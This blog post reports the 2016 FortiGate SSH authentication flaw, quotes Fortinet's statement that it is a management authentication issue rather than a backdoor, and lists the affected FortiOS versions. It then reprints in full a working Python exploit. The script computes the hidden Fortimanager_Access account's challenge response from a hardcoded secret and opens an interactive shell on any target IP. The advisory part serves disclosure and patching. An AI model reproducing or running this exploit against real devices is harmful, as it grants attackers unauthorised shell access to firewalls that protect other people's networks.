Tuesday, 12 January 2016

SSH vulnerability in Fortinet Fortigate products

It was stated that an SSH "backdoor" was identified in Fortinet Fortigate products and the proof-of-concept source code was posted on the Full Disclosure mailing list. 



Fortinet released a brief statement regarding the issues found with FortiOS on January 12, 2016. The brief statement says that the issue that was recently disclosed publicly was resolved and a patch was made available in July 2014. 

Fortinet stated that: "This was not a “backdoor” vulnerability issue but rather a management authentication issue. The issue was identified by our Product Security team as part of their regular review and testing efforts. After careful analysis and investigation, we were able to verify this issue was not due to any malicious activity by any party, internal or external."


You are not affected by this issue if you are using:
FortiOS v4.3.17 or any later version of FortiOS v4.3 (available as of July 9, 2014)
FortiOS v5.0.8 or any later version of FortiOS v5.0 (available as of July 28, 2014)
Any version of FortiOS v5.2 or v5.4

Otherwise, you need to immediately update your FortiOS product. See the Product Security Advisory for further information. 

Fortinet has made it clear that anyone who wishes to responsibly disclose a security issue to Fortinet is encouraged to contact them by following the information on this page: www.fortiguard.com/psirt 

The following is a copy of the code used to exploit the aforementioned vulnerability. 
#!/usr/bin/env python

# SSH Backdoor for FortiGate OS Version 4.x up to 5.0.7
# Usage: ./fgt_ssh_backdoor.py <target-ip>

import socket
import select
import sys
import paramiko
from paramiko.py3compat import u
import base64
import hashlib
import termios
import tty

def custom_handler(title, instructions, prompt_list):
    n = prompt_list[0][0]
    m = hashlib.sha1()
    m.update('\x00' * 12)
    m.update(n + 'FGTAbc11*xy+Qqz27')
    m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
    h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
    return [h]


def main():
    if len(sys.argv) < 2:
        print 'Usage: ' + sys.argv[0] + ' <target-ip>'
        exit(-1)

    client = paramiko.SSHClient()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    try:
        client.connect(sys.argv[1], username='', allow_agent=False, look_for_keys=False)
    except paramiko.ssh_exception.SSHException:
        pass

    trans = client.get_transport()
    try:
        trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
    except paramiko.ssh_exception.AuthenticationException:
        pass

    trans.auth_interactive(username='Fortimanager_Access', handler=custom_handler)
    chan = client.invoke_shell()

    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        chan.settimeout(0.0)

        while True:
            r, w, e = select.select([chan, sys.stdin], [], [])
            if chan in r:
                try:
                    x = u(chan.recv(1024))
                    if len(x) == 0:
                        sys.stdout.write('\r\n*** EOF\r\n')
                        break
                    sys.stdout.write(x)
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(1)
                if len(x) == 0:
                    break
                chan.send(x)

    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)


if __name__ == '__main__':
    main()

No comments:

Post a Comment